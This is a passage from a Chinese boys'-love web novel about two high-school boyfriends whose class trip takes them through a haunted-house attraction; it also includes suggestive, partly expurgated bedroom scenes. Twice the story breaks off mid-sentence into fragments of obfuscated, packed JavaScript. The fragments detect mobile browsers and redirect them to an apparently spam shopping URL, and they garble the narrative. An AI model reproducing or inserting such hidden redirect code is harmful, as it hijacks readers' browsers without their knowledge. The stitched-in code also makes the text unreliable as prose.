桑群还是没理他,只有晚上写作业的时候问了他一句作业是什么。 糟了糟了,阮牧年绞尽脑汁想着如何挽救,翻开论坛把今天的帖子看了个遍,疑似造谣和解码的全给举报了。 晚上睡觉,桑群终于合上作业晃回卧室,阮牧年紧张地站在旁边,生怕他下一句就要分房睡。 桑群坐在床沿,纡尊降贵开口:“过来。” 阮牧年连忙凑过来,脸蛋紧绷着。 桑群看他半晌,嗤笑出声。 阮牧年微愣:“你……气消了吗?” “我没生气,”桑群伸手捏他脸蛋,“是你自己在那里乱想。” “你没生气,那干嘛不跟我说话。”阮牧年皱眉。 “一开始是有点烦,被别人那样讨论,”桑群想了想,“后面没那么气了,但看你紧张的样子很好玩,就忍不住接着逗下去。” 阮牧年眉毛都扬起来了:“你耍我?” “没有,”桑群义正言辞,“只是觉得你勤奋的样子很难得,看来以后要少理你,不然都宠坏了。” “不可以不可以,”听桑群说没生气,阮牧年总算不再小心翼翼,爬上床钻进他怀里,“你没生气就好。但不管有没有生气,都不可以不理我!” “为什么?” “还能为什么,不理我就是要跟我冷战的意思,”阮牧年强词夺理,“冷战就是讨厌我、不喜欢我的意思,讨厌我就是要抛弃我的意思,啊啊啊桑群你这个面包渣!” 搞什么,自己怎么就变渣了,自我幻想真可怕。桑群连忙吻住那张叭叭不停的嘴,咬他:“别胡说八道了,好好睡觉。” “而且今天在厕所是你按着我亲,才会发出奇怪的声音,”阮牧年不再理亏,便乘势而上,“如果是我亲你,绝对不会被人发现猫腻的。所以你的责任很大!” “什么歪理,”桑群不服,“你来才会动静更大。” “不可能,”阮牧年反驳,“我很有自制力的。” 是吗,桑群不语,径直扶起他的脸亲上去。 温暖的被窝里身体挨着身体,阮牧年很快投入进去,在黏腻粘连的接触间小声哼哼着。 桑群微微退开,低声问:“有自制力?” 阮牧年回过神来,不自觉缩了缩身子:“这个……明明是你故意勾引我。” “我都好好的。”桑群一脸坦然。 “我才不跟性冷淡一般计较呢。”阮牧年说着就要转过去。 桑群把被子往下拉了点,天气渐热,快要夏天了,不过空气中还有丝淡淡的凉意:“好点没?” 阮牧年闭着眼呼气,把手伸出被窝:“嗯嗯。” “睡觉别蜷着,抱我。” 阮牧年嘻嘻地圈手过来:“你不怕我半夜偷袭你嘛?” “你敢么。”桑群挑眉。 想了想上次的后果,阮牧年缩了缩脖子,老实了:“……不敢。” 开学回出租屋后,两人没了顾忌,自然是想怎么玩就怎么玩。 可惜幻想虽然美好,但不适合全部付诸实际。 某天工作日夜里,毫无节制的某人缠着桑群,闹了好久才睡下,第二天教室里,同桌俩挂着同款黑眼圈,艰难地跟眼皮打了一天架。 从那之后,桑群下了禁令,要上课的前一天晚上绝对不可以玩闹。 这也是为什么阮牧年昨晚敢肆意妄为,今晚却只接了会儿吻就停下。 “桑桑,你还没跟我说晚安。”阮牧年抱着他把脑袋埋进他颈窝。 “晚安年年。”桑群低头在他额心贴了贴。 “晚安,”阮牧年舔了舔他的锁骨,轻声说,“明天我会早点叫你起来,你别赖床。” “几点?” “比平常早十分钟。” “太早了……” “五分钟,不能再少了,明天有升旗仪式……” “晚点……又没事……” “这周学风检查……不能迟到……” 夜语轻柔的尾音揉进和缓的呼吸声中,无数次他们依旧相拥而眠。 一如既往,今晚也一定好梦。 97. 03 游乐园门口站着一群叽叽喳喳的学生。 今天是工作日,九点左右的街道尚还冷清,这一行人格外显眼。 没过多久,路口出现一道人影,清爽的兜帽卫T,姿态挺拔,宛若偶像剧男主的现身气场。 等在门口的同伴们一眼认出了他,伸胳膊挥手:“牧年!” 阮牧年今天打扮得格外……帅气,新打理的发型凌乱得恰到好处,浅蓝T白裤少年感十足,阳光下的双眸熠熠生辉。 有人调侃:“今天这么帅啊牧年?” 阮牧年只是微微笑了笑。 刘嘉问:“六爷呢?怎么就你一个人。” 阮牧年脸上的笑容灿烂了些:“他停车呢。” “停车?!” 刘嘉目瞪口呆:“这才放假没一个月,六爷已经拿到驾照了?” 阮牧年还没来得及回话,路口又出现一道身影。 话题主角一身低调——也许并不低调——的粉色卫衣,脑袋上扣着顶棒球帽,缓缓移动过来。 桑群瘫着一张脸,心里万分不情愿。 继KTV告别会后,班级里又讨论出游乐园重逢团建,不知道在重逢什么,但阮牧年从不缺席聚会活动,也不让他缺席。 来就来,当散心了,但强迫他穿粉色衣服是什么意思? 想起被这家伙软磨硬泡的场景,桑群就一阵腰疼。 走过去,桑群正准备开始背景板的一天,就见所有人的目光纷纷投来。 桑群:“?” 刘嘉满眼羡慕地看着他:“六爷,你停的是什么车啊?” 桑群不明所以:“自行车,怎么。” 众人:“?” 阮牧年在一旁笑出声,侧身站到桑群身后,借此遮挡同伴们怨怼的目光:“停自行车也算停车吧?我又没说错。” 刘嘉:“你那个说辞,分明就是在诱导我们以为六爷考下了驾照……” “哪儿有那么快,”桑群双手插兜,脸色淡淡,“至少也要月底。” “是吧,六爷也说……什、什么?” 阮牧年探头出来:“其实过两天也可以。” 有人傻眼:“这不对吧?我连志愿都还没想好,你们已经快把驾照考完了?什么魔鬼!” 学委抬了抬眼镜,严谨分析:“从高考完那天算起,科目一合格后10天才能申请科目二,30天才能申请科目三……不算科目一的学习时间也至少要三十几天,月底基本不可能做到。” 阮牧年:“可他去年就考完了科目一和科目二啊。” 桑群不知道话题为什么老是在自己身上打转,只想快点结束:“嗯。” 大家纷纷吸气,就这个话题讨论起来没完没了。 桑群站烦了,也有背后幽灵搞小动作的原因,出声吐槽:“游乐场是观赏项目吗?” “好啦好啦,”阮牧年连忙给他顺毛,招呼大家,“我们赶紧进去吧。” 大家漫无边际的话题总算回到了正题上:该玩点什么。 沿着园区发放的地图册路线进发,大家三三两两游玩了周边的项目,工作日的游乐场十分通畅,完全不用排队。 桑群缀在队伍最后,看插着孔雀羽毛的年糕精跟着大家上蹿下跳地参加各种项目,精力仿佛怎么也用不完。 他无动于衷地站在旁边,只在阮牧年拼命冲他挥手的时候,才无奈地掏出手机给对方拍照。 笑得这么傻,回家就给他p成表情包。 “各位,我发现了一个绝佳的游玩项目,可以一块进去。”负责规划路线的班长招呼刚玩完上一轮的同学们。 “什么呀?”意犹未尽的阮牧年凑过去,脸上还挂着笑。 “就在前面不远处,”班长目露兴奋,“重磅升级的鬼屋项目——追杀大逃脱!” 阮牧年笑容僵住。 “好啊好啊。”第一个响应的是刘嘉。 大家纷纷打起精神来,虽然也有人怕鬼,但人多壮胆,更多的是好奇和跃跃欲试。 最怕鬼的没忍住后退一步,扯了扯嘴角,瞥了桑群一眼:“可……桑群好像不太喜欢这种东西啊。” 桑群挑了挑眉,看着对方不断暗示的眼神,顺从接受了自己的新身份:“……哼。” 班长询问:“六爷,你可以进去吗?” “可以,”这么好玩的事,桑群暂时放弃了背景板计划,看向阮牧年的目光带上戏谑,“你保护我。” 在众人一阵咦声中,阮牧年脸上没有一丝甜蜜,浑身上下都在拒绝他。 “放心吧六爷,”体委自告奋勇站出来,“咱们列个阵,胆子大的站前后,胆子小的站中间,把小情侣安排在c位,怎么样?” 这个提议得到了绝大多数人的认可。 极少数特指某只年糕精。 他不动声色地僵笑着,虽然为了面子没有公开发出抗议,但紧绷的肩膀昭示着一切。 桑群走过去,自然牵住他有些发凉的手指:“陪我一起走中间吧,男朋友?” 阮牧年暗暗瞪了他一眼,桑群差点笑出来。 逗胆小鬼真有意思。 少数服从多数,更何况这个少数只有一个人,阮牧年不得不顺着人流进入令他恐惧万分的鬼屋大门,年入鬼口。 此鬼口是真鬼口,因为鬼屋的设计就是一个山洞状的建筑,鬼怪造型的大嘴露出獠牙,猩红的舌头是入门的台阶。 尽管进去前大家还隐隐激动地讨论着里面的场景,但当漆黑降临,伸手不见五指时,所有人都不约而同噤声。 根据空灵的提示音所说,他们是惊扰了山墓鬼怪的盗贼,要带着财宝逃离山洞才算逃脱成功。 了解规则后,学委率先开口:“意思就是说,要先找财宝,再找出口,路上随时提防鬼怪的追杀。” “怎么找呢?” “是啊,光线暗成这样连路都看不清楚。” 学委断然:“先找光源。” 有智力担当坐镇,大家勉强安下心,行动起来。 有人摸到了老旧的煤油灯,差点被石头缝里弹出来的手骨砸中,灯光亮起后,山洞的情景令大家纷纷倒吸一口凉气。 山壁上刻着缭乱的鬼画符,满地石块和杂草,掉落着一些看不出形状的白色硬块,队列不由缩紧了些。 学委对谜题更感兴趣,独自拎着煤油灯走到墙壁边,认出上面刻着谜面:“看来是要解出这串密码,附近应该还有什么机关之类……牧年,你怎么看?” 牧年没吭声。 学委疑惑扭头,光线照过来的前一秒,阮牧年慌忙将鸵鸟脑袋从桑群肩膀上抬起来,故作镇定:“哦、哦,你说得对。” 学委:“我是问你这串密码,你有什么思路?” 他没什么思路,他只知道踏进这里简直是自寻死路。 好在观察一阵后,学委自己解出了密码,阮牧年借着黑暗又把脑袋埋回去。 桑群在心里叹了口气,不就是一地塑料骨头,真不知道他在怕什么。 为了照顾胆小鬼,他只好主动开口:“快点离开这里吧,我好怕。” 语气毫无波澜,害怕得极其敷衍。 “六爷,你别说笑了,”自诩要站在排头保护大家的体委颤抖着声音,“你站得比我还直,哪里像怕鬼的样子。” “嗯?”桑群疑惑,“我没站着啊。” 他一进来就碰到了某个疑似木桌的平台,之前在外面站太久,正好靠着歇歇脚。 空间里一时陷入死寂。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356375|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 体委的声音染上一丝恐惧:“你、你不是一直站在我旁边吗?那墙上这个影子……啊啊啊啊啊啊!” 有了第一声,大家都跟着尖叫起来,山洞内暂时一片混乱,而体委口中那道站得很直的影子在晃动的光亮里顺着墙壁不断拔高—— 桑群刚想直起身看看,右胳膊被某只年糕精缠得快断了,左胳膊不知道被谁抱住,身边一下子聚集了一大坨人类,橡皮泥属性,将他团团粘住。 “……搞什么。”唯一还站立的桑群十分无语。 唯二还能思考的学委提着灯,缩在人堡外围,说话缓慢:“影子形状、不太规则,没有投影仪,也不像人影……” 桑群眯了眯眼,终于看清了那玩意的真面目:“哦,那就是个门。” “门?” 此话一出,恐怖的氛围消散了许多。有人探头观察了一番,还真是个门,准确来说是个小山洞门,门边有显示屏,看来是输入密码的地方。 原来是虚惊一场,大家松了口气,正准备围着学委过去输密码,又听桑群开口。 “小心,”桑群正在解救自己的右手,502年胶实在太牢固了,“门边有人。” “谁?!” 门边没人,但大家都不敢往前了。 总算把胳膊扯了出来,桑群换了个姿势跟他十指相扣,抬头见其他人顿在原地,后知后觉补充一句:“哦,我是说开完门后,可能有人。” 这种恐怖预警还蛮有安抚人心的作用,门开锁后,果然弹出了个什么东西,学委早有准备举起煤油灯,按照一般规律,鬼都怕光,那怪东西很快消失了,更加漆黑的道路呈现在大家面前。 体委大着胆子走出几步,大声回话:“这边路有点窄,最多三个人并肩走,大家重新排一下队吧?” 女生们早已抱团挨好,提着灯的人走最前面,体委拉上好兄弟刘嘉共同守护学委的安全,桑群拖着年糕排在队中。 后面一排是女生,借着微弱的光看见前面如漆似胶的两人,不由小声感慨:“牧年你们真亲密。” 虽然看不清是谁保护谁,但相互依偎最好嗑了。 有人出声:“怎么进来后就没听牧年说几句话了?六爷,你旁边的……应该还是牧年吧?” 这下换手指要被绞断了,一般鬼怪还真不敢这样对付他,桑群极为肯定:“当然,别自己吓自己。” 大家伙险些因为上个问句四下逃窜,又听那人问:“那牧年你咋不说话?” “……啊哈哈,”阮牧年有些轻飘的声音响起,尾音很低,“我……我夜盲症犯了,忙着看路呢,得靠各位带我出去了。” “哦,”后排女生恍然大悟,“难怪你们挨得这么紧。” “对、对,哈哈。” 随着阮牧年的干笑声响起的,是另一道笑声。 “哈哈……哈哈哈……” 体委一个激灵:“牧年你干嘛笑得这么诡异!” 回应他的是一声声尖叫。 “啊——!” 等他回过头去,别说阮牧年,连其他人的身影都消失不见了。 身边只剩下刘嘉和举着灯的学委,体委一阵胆寒:“消、消失了……?” 学委推了推眼镜,认真观察了两边的墙面:“有蹊跷……这个墙是活的。” 刘嘉:“啊?什么意思?” “这里应该布满了岔路口,我们走的这条路是主路,而墙内还存在其他分路。” 学委冷静分析着,缓缓转过身。 刘嘉思考着:“难道是墙把他们拉入其他路了?” 学委忽然趔趄了一下。 两人被他吓了一跳:“怎么了?” “我靠,”学委冷静的表情裂开,“人呢?” 98. 04 “啊啊啊啊啊——” 桑群被吵得太阳穴疼,没忍住给了身上人一下:“你给我闭嘴。” “有东西抓我啊啊啊!真的,它碰到我胳膊了,还有硬东西割了我一下……” “那是你撞到我帽子了,”桑群无语,强行把人扯下来,“撒手,胳膊要青了。” “为什么要把鬼安排在墙壁里啊,你别丢下我桑桑,我已经腿软了,太可怕了,我们能不能直接联系工作人员出去啊,我不玩了,其他人也不知道跑哪里去了……” 阮牧年哭丧着脸,已经开始胡言乱语。 桑群看他一眼,伸手把人捞进怀里拍了拍背。 顺便把他身后悄悄伸过来的鬼手拨开。 桑群在他发边吻了一下,轻柔安慰:“别怕,我陪着你呢,不会有鬼凑过来的。” 强行被喂了一口狗粮的鬼手工作人员:“……” 阮牧年抱紧他,不愿撒手:“我们就这样走路好不好?我不想松开你呜呜。” “乖,我护着你呢,”桑群把人翻过来搂着腰背,“先找东西照明吧,有灯就不害怕了。” 阮鸵鸟揪着他的衣领连连点头。 带着拖油瓶找到了塑料蜡烛灯,桑群开始思考怎么出去。 他对完成任务不感兴趣,先把胆小鬼送到太阳底下最要紧……对胳膊好。 阮牧年说他被鬼抓了,当时也确实是他们两人一块跌进了什么空间,估计墙上有暗门。 只是现在,他扫视一圈,并没有发现其他出口。 难道要解密吗? 学渣心里升起一阵绝望。 别说解密,他连是什么密、密在哪里都不知道。 没招了,他只好呼叫学霸年年:“别缩着了,真的没有鬼,你抬头看。” 阮牧年眼睛刚睁开一条缝,瞬间又闭上,缠他更紧:“你、你身后……!” 桑群回头,石墙里忽然蹦出一张长发死人脸,嘴角咧到耳根,狰狞地冲他们邪笑。 机会难得,桑群连忙伸手扣住对方的脖子,不让它缩回去:“不好意思,请问门在哪里?” 第一次被人类偷袭的鬼:“……” 职业操守使它继续张牙舞爪嘶吼着:“嗬啊……受死吧……!” 阮牧年躲在他怀里瑟瑟发抖,桑群跟那截要缩回去的脖子抗争:“冒犯了,帮忙指个路吧,待会儿出去给你们打五星好评。” 长发鬼停止了挣扎,伸出长着长指甲的手指,在空中晃了两下,然后飞快躲回墙里。 看来鬼也不能拒绝五星好评。好歹有提示了,桑群顺着指甲指的方向看过去,发现那里有个跟周围环境融为一体的暗格。 桑群一手拎灯,一手拎智慧锦囊,抱着人蹲到暗格前,给他抚慰和鼓励:“我现在这样圈着你,不会被鬼抓的。起来做题,年年。” “哦……” 阮牧年睁开半只眼,身上笼罩着桑群的气息,勉强令人安心下来,可以集中精神思考。 桑群看见乱七八糟的数字就开始犯晕,高考数学后遗症,赶紧低头吸一吸男朋友,某人为了这身装扮早上还喷了清香花露水,味道很好闻。 “算出来了。”阮牧年说完就闭上眼,往后蹭着贴紧桑群的胸膛。 桑群没着急带人走,勾了勾怀里人柔软的发丝,问:“为什么这么怕鬼?又不是真的。” “……我知道。但身体还是忍不住害怕,我控制不住,”阮牧年轻声说,“害怕这种东西是人之常情吧?常理之外的东西却能操控生死,左右情绪,黑暗中除了面对它就是死亡,只能捂着眼睛一直躲,直到光亮把虚无感驱散……” 桑群若有所思:“难怪你小时候那么喜欢戴帽子。” 他依旧记得初次见面时,就是那顶宽大的黄帽子让自己记住这位“嫌疑犯”。 阮牧年一直紧绷的身体稍有放松,他叹笑一声:“桑桑……你怎么什么都猜得到啊。” 桑群抬手摘掉了棒球帽,扣到他头上,把帽口调得更紧,防止中途掉落:“本来以为你只是普通的害怕,毕竟以前谈起鬼也没到要全程闭眼的程度。今天逗过头了,抱歉。” “不怪你,就算你没点头,我肯定也要跟他们一块进来的,”阮牧年捉住他的手,贴在脸颊上,“你不用道歉……桑群,遇见你之前,我害怕过很多东西。” 桑群拇指轻轻按在他眼角:“都有什么?” “怕黑呀,怕鬼呀,怕被别人指着脑袋嘲笑,”阮牧年一点点告诉他,“我以前就见过鬼,披着白色的被单从器材室门口钻进来,会对人拳打脚踢,里面藏着小孩,吓完人就开始咯咯笑,然后把门从外面锁紧。” “器材室?”桑群微微皱眉,觉得这个词有点耳熟,“你……你就是那个躲在器材室里哭的小幽灵?” 幼儿园十大怪谈之一,密室幽灵。据说有人路过空无一人的器材室,听到里面传来幽灵的抽泣声。 桑群从未想过小时候不屑一顾的传闻,会跟阮牧年扯上关系。 “……我是幽灵吗?”阮牧年轻轻笑了一下,“啊,那我应该……没有吓到别人吧?” 桑群听得心疼,收紧胳膊:“所以那是有人捉弄你?” 阮牧年却摇头:“不是捉弄,像你那样才叫捉弄。” 桑群不认:“我虽然……但没想过伤害你。” “我知道的。所以呀,我早就说过了,”阮牧年笑起来,终于睁开眼对他弯起眼尾,“你的捉弄只是捉弄,跟其他人不一样。” 桑群当然记得这句话,只是那时并没有细想,早知道……他心里懊悔,阮牧年却好像看穿了他的心思,凑过来跟他碰了碰鼻尖:“你不要自责,桑桑,我已经很幸运了。” “嗯,”桑群偏过头,吻住对方紧抿的唇,唇瓣有一条明显凹陷的齿痕,“走,勇士来解救幽灵了。” “好耶。”阮牧年跟着他笑了。 密码解出来,房间里却没什么动静。阮牧年重获勇气站起来,刚想小心地活动一下筋骨,低头却愣住。 等等,桑群呢? 没等恐惧袭来,脚下骤然一空,失重感瞬间席卷全身。 “啊啊啊——” 阮牧年简直要哭出来了,谁家鬼屋把出口设置在脚下啊,什么五星好评,他要举报!狠狠举报! 地板底下是一个类似滑滑梯的甬道,阮牧年一路坠下去,屁股和大腿摩擦到发麻,好半天才掉进一块柔软里。 好吧,这鬼屋还有点良心,知道垫个软垫。 “呃。” 软垫传来响声。 阮牧年低头,哪有软垫,只有一块先着陆的叒木君羊,已经被他压扁了。 他赶紧跳起来:“桑、桑桑,你没事吧?” 桑群半死不活地翻了个白眼。 谁家鬼屋把出口设置在脚下?还没有垫子,他反悔了,出去就给一星,多一颗星都是对他摔痛的屁股的不尊重。 阮牧年刚想拉他起来,手伸到一半顿住。 “桑桑……你有没有听到什么奇怪的声音?” 蜡烛灯被留在了上一个房间,此时四下昏暗,那毫无规律的踏踏声却愈发响亮,像是什么东西正在靠近。 阮牧年扑到桑群身上,紧紧抱住。 又双木尹口羊再次发出破碎的闷哼。 “你……给我起来。”桑群艰难地发出声音。 “我不!”阮牧年抱得更紧了,脑袋死死埋进他肚子里,“那绝对是鬼!它它它要来了,更近了,啊啊啊啊……” 桑群抬手扣住尖叫年的后颈,试图让他冷静点:“真的不是鬼,那是……” “你不要再逗我了桑桑,呜呜我真的害怕死了,”阮牧年胡乱哭叫,“在它离开之前我绝对不会从你身上起来的!你说好要解救我的,不可以中途抛弃我呜呜呜……” 一道弱弱的声音响起:“呃,那个,牧年,是我们……” 阮牧年的哭声戛然而止。 偶然撞见这场哭剧的体委尴尬地打了个招呼:“……嗨?” 学委拎着灯走在最前面,胸有成竹:“我就知道这些岔路是互通的,你们从哪里过来的?” 桑群刚想回答,低头瞥见地面有东西。 哦,是阮牧年的面子,碎地上了。 “好了,年年,”桑群拍了拍肚子上的脑袋,“你先起来。” 刚刚社死的阮牧年倒在那里,一动不动。 桑群叹了口气,面无表情地呜呜两声,然后看向旁边的同伴:“不好意思,被吓哭了,见笑。” 三人:“……” 六爷您就继续宠他吧。 阮牧年缓了半天,才捂着脸坐到旁边,变成一只沉默花瓶。 桑群终于有空回答问题,指了指旁边:“从上面掉下来的。” “嚯,居然还有滑梯?”体委稀奇道,“我们是走楼梯下来的,看来你们这边很刺激啊。” 刺激吗,桑群发出一声冷呵,确实很刺激,屁股现在还麻着呢。 “我们汇合了,那还有路吗?”桑群问。 “有的,”学委点头,“跟我们走吧。刚才我们就路过了通往宝藏密室的通道,但那里的门需要合力解密,靠我们三个解不开,所以才走过来找队友。” “没错,”刘嘉友善提醒,“我们前面还遇见几个女生,她们找到了一个安全屋,可以待到结束。牧年,如果你有需要……” 阮牧年抬起头,微笑:“我不需要。” 刘嘉挠了挠头:“你不是……” “既然找到了通道,那就走吧,”阮牧年一脸淡定地站起来,顺便牵过桑群的手,笑得体贴温柔,“桑群跟紧我,别再被吓哭了。” 桑群挑起眉,顺从地点头:“哦,靠你了。” 看来对于交际花来说,面子比寻常安慰更有效果。 刘嘉还想再说什么,被体委怼了怼胳膊,示意他赶紧闭嘴跟上。 找到失散的队友和宝藏密室后,鬼屋不再迷雾重重,通关近在咫尺。 因为财宝刚被他们拿到,所有机关同时启动,通往鬼屋出口的道路打开,各种角落里蛰伏的鬼怪倾巢涌出—— 不负其名,还真有追杀环节。 大家挤成一团,尖叫哭嚎地逃出生天。 出口处,工作人员摘下头套,穿着破烂的鬼服笑容灿烂地迎接今天的第一波客人“生还”。 看见两道熟悉的黏在一块的身影,他的笑容不禁更加灿烂:“您好,那个五星好评……” 桑群手还被人掐着,闻言掀起眼皮:“……可以麻烦你们以后给滑梯底下加个垫子吗?” “您的建议我们会采纳的。”工作人员微笑。 罢了,五星就五星,反正他的屁股也不是第一次被不尊重了。 桑群瘫着脸给完好评,拉着吓晕的年糕泥去了厕所。 “还好吗?” 最后逃脱的时候,一路上全是鬼,阮牧年好像被吓得不轻,但他们在人堆里又跑不快,帽子还差点掉了。 阮牧年挂在他身上好半天才开口,听起来很虚弱:“我、我被半颗骷髅贴脸了呜……” “不怕不怕,已经出来了,”桑群连忙给他摸摸抱抱拍拍,捧起煞白的脸蛋揉搓,“打起精神来,想吃什么?我去给你买。” 阮牧年被他揉得嘟起嘴:“我想吃冰淇淋。” “好,”桑群即刻应下,又问,“再休息一会儿?” “嗯嗯,那我坐马桶盖上等你,”阮牧年乖乖点头,“你要早点回来呀。” “会的,”桑群从口袋里掏出纸巾,“先擦干净再坐。那我去买,待会儿叫你出来。” “好嗷。” 桑群在公厕外的一条小路上找到甜品小车,正面撞上找人的小部队。 班长:“六爷,你们跑哪里去了?该准备出发去下一个项目了。” 桑群:“……上厕所。” 刘嘉:“怎么就你一个人,牧年呢?” 桑群:“……他在休息,我来买点吃的。” 群众效应大概就是,如果有一个人想要买冰淇淋吃,周围的人也会跟他做出同样的举动。 桑群拿着刚做好的冰淇淋,跟另一群冰淇淋面面相觑。 “我待会儿过来找你们。”他现在只想赶紧回去,这天气冰淇淋容易化手上。 “牧年在哪里休息,我们一块去呗。” “对啊对啊,省得等人了,过去之后重新规划路线就好了嘛。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356376|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑群:“……” 虽然觉得怪怪的,但也不是没有道理。他没再推辞,转身就走。 一列人浩浩荡荡来到公厕外,桑群习惯性开口:“我回来了,年……” “呜哇桑桑,你终于回来了,”厕所里传来开门声,阮牧年人未至声先至,“你都不知道我刚才在帽子上发现了什么!呜呜太可怕了,还好你回……” 门边出现半张阮牧年的脸,嘴里的话还在继续:“来……” 伸出来想要抱抱的双臂僵硬在半空,皱眉撅嘴的可爱表情凝固在脸上,撒娇式的埋怨尾音渐渐低下去。 “……了。” 厕所外不仅站着他苦等的亲亲男友,还有一大群捧着同款冰淇淋的灯泡同伴。 阮牧年:“?” 众人:“……” 只有桑群还在状况之外:“你在帽子上发现了什么?” 阮牧年第一次驯服四肢似的站直,不自在地压低帽檐:“不是……” 众人舔着冰淇淋,反应过来:“哇哦——” 桑群:“不是什么?” “为什么你买个冰淇淋还带回来这么多人啊!!” 阮牧年崩溃地捂住脸,想找个地缝钻进去。 完了,全完了,他苦心经营了三年的阳光男神形象,因为当众对桑群撒娇而一去不复返了…… “他们说一块过来方便,”桑群不明所以,走过来把他帽檐抬高,“喏,冰淇淋,不吃吗?” 阮牧年啪叽一下倒在他肩上:“……没心情。” 桑群:“?” “啊哈哈,”体委干笑几声,举着冰淇淋走远了,“哟,那边有卡丁车,小嘉儿咱们过去看看。” “哦,下条路线就去那里。”班长叼起冰棍,捧着地图册往外走。 “那边有座椅,走,过去坐坐。” …… 灯泡们接二连三离开,桑群后知后觉:“他们让你不自在了?” 阮牧年幽怨抬起头,嗷呜一口咬住快化掉的冰淇淋,被冰得直吸气。 “慢点吃,还没完全融化,”桑群腾出手挠了挠他的脸颊,有点烫,也有点好笑,“还以为……也有你应付不来的场面?” “那也要看是谁,是什么时候啊,”阮牧年鼓着腮帮子嚼嚼,连续两次社死再加上鬼屋里的一系列刺激,让他看起来有些疲惫,“我只对你一个人这样,被别人看见……就是很尴尬啊。” “这有什么,”桑群捏他脸,“很可爱。” “在外面是帅气!不要说可爱。” “行吧,”明明就很可爱,搞不懂他的执着,桑群只好顺着他,“很帅气。边走边吃吧,别在厕所门口站着。” “呜呜我已经没脸见人了……” “没关系,又不是第一次。” “桑群!你怎么这样!” “我也不是第一次这样。” “呜呜……” 跟其他人汇合后,阮牧年在他们挪揄的目光中逐渐羞耻,又变回沉默花瓶。 “牧年这么受打击吗,”有人偷偷问桑群,“其实他那样也挺有趣的,在恋人面前与众不同,情有可原嘛。” “面子掉得多,脸皮就薄了。”桑群如是答道。 结果就是前期到处花枝招展的小孔雀,变成了黏在桑群周身的挂件,连好玩不伤身的海盗船项目邀请都拒绝了。 大家遗憾登船,没一会儿便玩得忘乎所以,很快将某对小情侣抛之脑后。 船舷边的座位上,刘嘉在高处大喊出声,余光不经意瞥到栏杆外的休息区,他的后桌俩并排坐在桌边。 不知道他们说了什么,牧年帽檐抖了抖,似乎在笑,六爷在旁边支着脑袋,忽然凑过去,脑袋钻进对方帽檐下。 海盗船又一次荡到最高点,刘嘉再次兴奋出声。 真好啊,假期、自由、情侣以及触手可及的高空。 桌边,阮牧年藏在帽子底下的脸蛋红红的:“我、我尝不出来……” 桑群轻笑,舔了舔唇角:“太少了?” “我们还是不要在外面这样啦,”阮牧年伸出一根手指推他,舌尖有抹茶的味道,但更多的是桑群的味道,“别人看见就糟糕了。” “这么害羞,”桑群没再逗他,只说,“你昨晚把我按在墙边的时候可不是这样的。” “这个那个、呃,”阮牧年移开目光,“哇,你看他们荡得好高。” 这话题转移得也太生硬了,桑群看过去,随口:“你又不恐高,为什么不去玩?” “你也不恐高,你怎么不去?”阮牧年反问。 “我那是因为你,”桑群说,“怕你担心。” “只有我的原因?” “当然。它对我来说,已经不算是阴影了。” “那我也是因为你,”阮牧年趴在桌上冲他笑,“不管是低处还是高处,要去就一起去。” “一开始也是这么想的?” “不然怎么想。”阮牧年没懂他的意思。 “还以为你是出来选秀的。”桑群瞥了眼他的打扮。 “啊,”阮牧年看了看自己的衣服,“我不是来选秀的,我是来秀恩爱的啊。你没看出这是我精心搭配的情侣装吗?还有手环,隐秘又不失配对之美,完美诠释什么叫人群中的约会。” 桑群还真没看出来:“它们连样式都不一样……真要约会,干嘛跟一大群人出来,我们自己去玩就好了。” 阮牧年深感赞同:“你说得对,他们太碍眼了。” 有恐高没去玩的同伴坐在附近,听见这话囔囔起来:“喂喂牧年,什么意思啊!” “嫌弃你们的意思。”阮牧年扭过头去做了个鬼脸。 “现在不尴尬了?”桑群问。 “不管了,”阮牧年伸了个懒腰,整个人看起来更加放松,“我是年年还是阮牧年,别人爱咋想咋想吧,以后也不一定能见上几面,不装啦。” 桑群挑起他的下巴:“你是百变年糕。” “噢,那我今天是什么口味的?” 桑群看了看远处的天空,逐渐热闹的游乐场,又低头瞥了眼桌边的甜品杯,就地取材:“冰淇淋味的。” 是夏天最爽口的味道。 99. 05(有删减) 桑群第一次跟阮牧年**,是在高二那年的寒假。 前不久的生日夜里,他们终于互坦心意,阮牧年哭了一晚上,样子比他这个大病未愈的病人还惨。 桑群满腔怜爱,但也明白除了心意,他们之间还有一条小隔阂。 那天他帮了阮牧年,却没让对方帮回来,好胜王心里肯定一直在琢磨这件事。 果不其然,他停药后的某个夜晚,刚碰到床,就被洗完澡的阮牧年扑到床头板上。 (……) “……对不起,”桑群抽纸过来,坐起身给他擦脸,自己的嗓音也很低哑,“进眼睛了吗?抬头我看看。” “没进眼睛,”阮牧年任他摆弄,隔着纸巾也能感受到脸上的热度,“就是有点多……我做得好吗,桑桑?” “……很棒。”桑群眸底暗沉,在阮牧年颤抖着睫羽睁开眼后,捧起他的脸吻上那张红润的唇,“我很舒服,年年好厉害。” “唔,”阮牧年抱着他的脖子,方才的大功臣被桑群重重吸住,“呜啊,桑、桑你……” 桑群按着他吻了好久才放开,鼻尖相抵:“你刚才想说什么?” “喘不过气了,呼,”阮牧年吐着舌头,白里透红的脸颊可爱得令人忍不住抚摸亲吻,“我想说你不是洁癖吗,按照你的标准,我的嘴好脏。” “……没忍住,”桑群沉沉看着他,把人抱到怀里,“比起脏不脏,更想亲你。太犯规了年年,你从哪里学来的这种东西?” 